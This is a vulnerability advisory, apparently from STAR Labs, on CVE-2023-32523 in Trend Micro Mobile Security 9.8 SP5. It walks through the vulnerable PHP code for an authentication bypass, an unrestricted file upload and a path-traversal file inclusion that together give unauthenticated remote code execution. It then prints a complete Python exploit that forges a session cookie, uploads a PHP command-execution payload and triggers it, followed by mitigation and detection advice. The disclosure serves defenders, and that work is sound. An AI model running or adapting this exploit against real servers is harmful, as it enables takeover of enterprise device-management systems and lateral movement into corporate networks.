Summary:
Product | Trend Micro Mobile Security (Enterprise) 9.8 SP5 |
---|---|
Vendor | Trend Micro |
Severity | Critical |
Affected Versions | Trend Micro Mobile Security (Enterprise) 9.8 SP5 (<= Critical Patch 3) |
Tested Version(s) | Trend Micro Mobile Security (Enterprise) 9.8 SP5 (Critical Patch 3) |
CVE Identifier | CVE-2023-32523 |
CVE Description | Improper implementation of the authentication mechanism results in authentication bypass for affected installations of Trend Micro Mobile Security (Enterprise) 9.8 SP5 (<= Critical Patch 3) in the /widget endpoint. The vulnerability exists in the WFUser class where non-existent user accounts are automatically created with a blank password upon receiving an incoming request. This results in attackers being able to interact with authenticated endpoints after exploiting this vulnerability. |
CWE Classification(s) | CWE-287: Improper Authentication |
CAPEC Classification(s) | CAPEC-115: Authentication Bypass |
CVSS3.1 Scoring System:
Base Score: 9.8 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview:
Trend Micro Mobile Security Enterprise offers a web-based console that provides centralized management for enterprise users, supporting device location tracking and inventory management, in addition to providing single-click deployment of data protection policies. Administrators can use the policy management feature to configure and deploy product settings to managed products. The Mobile Security web-based management console enables IT to remotely enroll, provision, and de-provision devices with corporate network settings like VPN, Microsoft Exchange ActiveSync, and Wi-Fi.
Trend Micro Mobile Security Enterprise also offers instant summary views of compliance, inventory, protection, and the health of all devices registered under it. It provides visibility into the number, types, and configuration of devices that are accessing corporate resources. Mobile Security enables system administrators to monitor and report on activities such as malware infections, and offers phishing protection. It also identifies and blocks apps that pose a security, privacy, and vulnerability risk by correlating installed app data against the Mobile Application Reputation Service (MARS) database of known malicious applications. An unauthenticated attacker can use the vulnerabilities described in this report to execute arbitrary code on the target Trend Micro Mobile Security instance. As the attack is targeted against the Trend Micro Mobile Security instance, the attacker can gain access to other resources via lateral movements.
Vulnerability Summary:
This advisory presents information on an authentication bypass vulnerability, an unrestricted file upload vulnerability, as well as a Local File Inclusion (LFI) vulnerability which, when combined, leads to a pre-authenticated Remote Code Execution (RCE) vulnerability in Trend Micro Mobile Security 9.8 SP5 Critical Patch 3.
Vulnerability Details:
In order to achieve unauthenticated Remote Code Execution, all 3 vulnerabilities above have to be chained together. An adversary must first create a new WFUser
and obtain an authenticated PHPSESSID
cookie. Then, they have to upload a file PoolManager.php
to C:\Windows\Temp\
, which stores the PHP code to execute. Finally, by exploiting the Local File Inclusion vulnerability to include the uploaded file, Remote Code Execution is achieved.
Authentication Bypass
The authentication bypass sink is found in /Mobile Security/web/widget/inc/class/user/User.php
within the product_user_init()
function:
// Mobile Security/web/widget/inc/class/user/User.php
public function product_user_init(){
mydebug_log("[WFUSER] product_user_init()");
$email = product_get_session_username(); // [1]
if(false == $this->recover_session_byemail($email)){
// no previous session
mydebug_log("[WFUSER] product_user_init(): no previous session");
// load user
if(false == $this->loaduser_byemail($email)){ // [2]
// create the user
mydebug_log("[WFUSER] product_user_init(): create user");
if(! $this->create_user($email)){ // [3]
mydebug_log("[WFUSER] product_user_init(): create user failed");
$this->errMessage .= "creating user failed";
return false;
}
}
$this->binduser(); // [4]
// create cookies for page
$this->createCookieForPage();
}
mydebug_log("[WFUSER] product_user_init(): ok");
return true;
}
At [1], the function first saves the return value of the function product_get_session_username()
, which returns the value obtained from the $_SESSION['UserName']
key. Then at [2] and [3], if the $email
value does not already exist in the SQLite database, a new user will be created at [4].
The function definition of product_get_session_username()
below:
// Mobile Security/web/widget/repository/widgetPool/wp1/inc/common.php
function product_get_session_username()
{
if( isset($_SESSION["UserName"]) ) {
return $_SESSION["UserName"];
}
// Standanloe Widget Framework would just return null.
return null;
}
This function checks and returns the value of the $_SESSION['UserName']
. It was discovered that this value is user-controllable and set to the value of the session_info
request cookie:
// Mobile Security/web/widget/repository/widgetPool/wp1/inc/product_auth.php
session_start();
mydebug_log("[Product Auth]Session info:".$_COOKIE['session_info']);
$User = explode(',',$_COOKIE['session_info']);
mydebug_log("[Product Auth]Login:".$User[1]);
$_SESSION["UserName"] = $User[1];
The $_SESSION['UserName']
session key will store a value from the session_info
request cookie. For example, session_info=,foo
would result in the value foo
being stored. With control over the $email
string, function create_user()
is invoked and the value of $_SESSION['UserName']
is passed as an argument. This function essentially creates a new row in the users
table of the SQLite database with the username set as foo
.
This newly created user is now bound to the current PHP session, meaning that the PHPSESSID
cookie returned by the server will contain valid WFUser data and pass authentication checks.
What this ultimately means is that to authenticate, set the value of session_info
cookie to any arbitrary value in the ,<ANY>
format.
Unrestricted File Upload
The unrestricted file upload sink can be found in /Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php
, where users are able to upload any file to the C:\Windows\Temp
directory by sending a POST request with the file to upload. As there are no input validation in place, any type of file is able to be uploaded. The relevant code can be seen below:
// Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php
switch($postData['tmms_action'])
{
//...
case 'set_certificates_config': // [1]
{
$isPostFile = true;
$headers [] = 'Accept:text/html';
if($_FILES["cert_file_name"]["error"]>0){
mydebug_log("[TMMSPM Proxy][RetriveData] php receive file failed:(".$_FILES["cert_file_name"]["error"].").");
return false;
}
mydebug_log("[TMMSPM Proxy][RetriveData] php receive file success.");
$fileName = $this->GetFileName($_FILES['cert_file_name']['name']); // [2]
$tempFile = dirname($_FILES['cert_file_name']['tmp_name'])."\\".$fileName; // [3]
mydebug_log("[TMMSPM Proxy][RetriveData] get certificate file-->".$tempFile);
if(!move_uploaded_file($_FILES['cert_file_name']['tmp_name'],$tempFile)){ // [4]
mydebug_log("[TMMSPM Proxy][RetriveData] move upload file failed.(" . $fileName.")");
return false;
}
//...
}
}
At [1], the POST request parameter tmms_action
must be set to “set_certificates_config” to enter the switch case where the vulnerability occurs.
At [2], the uploaded filename is obtained from the POST parameter cert_file_name
and saved to the PHP variable $fileName
. Since only the filename is obtained, path traversal is not possible.
At [3], the upload path is stored to the $tempFile
PHP variable. This concatenates C:\Windows\Temp\
with the uploaded filename.
At [4], the uploaded file is moved into the filesystem. Up till this point, no verification on the uploaded file was done.
Local File Inclusion
Unsanitized user input via the update_type
POST JSON key is used as part of a require_once
directive. This results in the ability to include arbitrary files on the filesystem to be executed as PHP code by sending a POST request to https://TARGET_HOST/mdm/web/widget/inc/widget_package_manager.php
The vulnerable code where the incoming request is first handled can be seen below:
// Mobile Security/web/widget/inc/widget_package_manager.php
$widgetRequest = json_decode(file_get_contents("php://input"), true);
// ...
switch($widgetRequest['act']){
case "check":
try{
$strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget';
$strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update';
$isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();
The user input is taken from the incoming web request POST body and JSON-decoded, before being stored in $widgetRequest
PHP variable. Some lines after, the $strUpdateType
PHP variable is also set to the same value. The values from the POST request body are subsequently used in the invocation of getWidgetPoolManager()
:
// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php
public function getWidgetPoolManager($strUpdateType = 'widget'){
if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){
$strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType);
require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php'); // [1]
At [1], the function argument $strUpdateType
is concatenated as part of the require_once
directive, allowing the attacker to control the effective path to the PoolManager.php
file.
Exploit Conditions:
This vulnerability can be exploited by an unauthenticated attacker.
Proof-of-Concept:
We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:
# Trend Micro Mobile Security 9.8 SP5 (<= Critical Patch 3) Unauthenticated RCE (CVE-2023-32523)
# Via: https://TARGET_HOST/mdm/web/widget/inc/widget_package_manager.php
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import requests
import sys
requests.packages.urllib3.disable_warnings()
s = requests.Session()
def check_args():
global target, cmd
print("\n===== Trend Micro Mobile Security 9.8 SP5 (<= Critical Patch 3) Unauthenticated RCE (CVE-2023-32523) =====\n")
if len(sys.argv) != 3:
print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL CMD_TO_EXECUTE".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1].strip("/")
cmd = sys.argv[2]
cmd = cmd.replace("'", "\\'")
def authenticate():
global s
print("[+] Performing authentication bypass...")
s.cookies['session_info'] = ",foo"
s.cookies['wf_CSRF_token'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
res = s.get(f"{target}/mdm/web/widget/index.php", verify=False)
if res.cookies['userID']:
print("[+] Authenticated successfully!")
else:
print("[!] Something went wrong when authenticating!")
sys.exit(1)
def upload():
print("[+] Uploading payload...")
files = {
"cert_file_name": ("PoolManager.php", f'<?php echo system(\'{cmd}\');echo "\\n\\n===== Success ====="; ?>')
}
data = {
"module": "modTMMSPM",
"tmms_action": "set_certificates_config",
"HTTP_X_CSRFTOKEN": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
s.post(f"{target}/mdm/web/widget/proxy_controller.php", files=files, data=data, verify=False)
def rce():
print("[+] Triggering RCE...")
json = {
"act": "check",
"update_type": "..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\temp\\"
}
res = s.post(f"{target}/mdm/web/widget/inc/widget_package_manager.php?HTTP_X_CSRFTOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", json=json, verify=False)
if "Success" in res.text:
print(f"[+] RCE was successful! Output of command:\n\n{res.text}")
else:
print("[!] Something went wrong when triggering the RCE!")
def main():
check_args()
authenticate()
upload()
rce()
if __name__ == "__main__":
main()
Suggested Mitigations:
Update the Mobile Security (Enterprise) installation to the latest version as shown in Trend Micro’s Download Center.
Detection Guidance:
It is possible to detect the exploitation of this vulnerability by checking the C:\Windows\Temp
directory to see if any persistent PHP files exist. Check the server’s access logs to see if there are any abnormal requests to the /mdm/web/widget/proxy_controller.php
and /mdm/web/widget/inc/widget_package_manager.php
end-points in quick succession.
Credits:
Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline:
- 2022-11-30 Reported Vulnerability to Vendor via ZDI
- 2023-01-18 Triaged and Reported by ZDI
- 2023-04-18 Patch Released by Vendor
- 2023-08-22 Public Release